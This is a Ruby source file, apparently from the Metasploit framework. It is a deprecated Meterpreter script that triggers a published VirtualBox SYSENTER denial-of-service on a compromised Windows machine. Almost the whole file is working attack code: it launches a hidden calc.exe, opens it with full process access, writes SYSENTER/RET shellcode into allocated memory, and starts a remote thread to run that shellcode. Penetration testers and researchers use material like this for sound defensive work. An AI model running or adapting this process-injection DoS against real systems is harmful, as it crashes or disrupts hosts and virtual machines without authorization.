55 lines
1.4 KiB
Ruby
55 lines
1.4 KiB
Ruby
##
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# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
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# If you'd like to imporve this script, please try to port it as a post
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# module instead. Thank you.
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##
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# Meterpreter script for triggering the VirtualBox DoS published at:
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# http://milw0rm.com/exploits/9323
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opts = Rex::Parser::Arguments.new(
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"-h" => [ false,"Help menu." ]
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)
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opts.parse(args) { |opt, idx, val|
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case opt
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when "-h"
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print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323")
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print_line("USAGE: run virtualbox_sysenter_dos")
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print_status(opts.usage)
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raise Rex::Script::Completed
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end
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}
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#check for proper Meterpreter Platform
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def unsupported
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print_error("This version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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end
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unsupported if client.platform != 'windows'
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# Spawn calculator
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pid = client.sys.process.execute("calc.exe", nil, {'Hidden' => 'true'}).pid
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print_status("Calculator PID is #{pid}")
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calc = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
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# Allocate some memory
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mem = calc.memory.allocate(32)
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print_status("Allocated memory at address #{"0x%.8x" % mem}")
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# Write the trigger shellcode
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# sysenter
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# ret
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calc.memory.write(mem, "\x0f\x34\xc3")
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print_status("VirtualBox SYSENTER Denial of Service launching...")
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# Create a new thread on the shellcode pointer
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calc.thread.create(mem, 0)
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print_status("VirtualBox SYSENTER Denial of Service delivered.")
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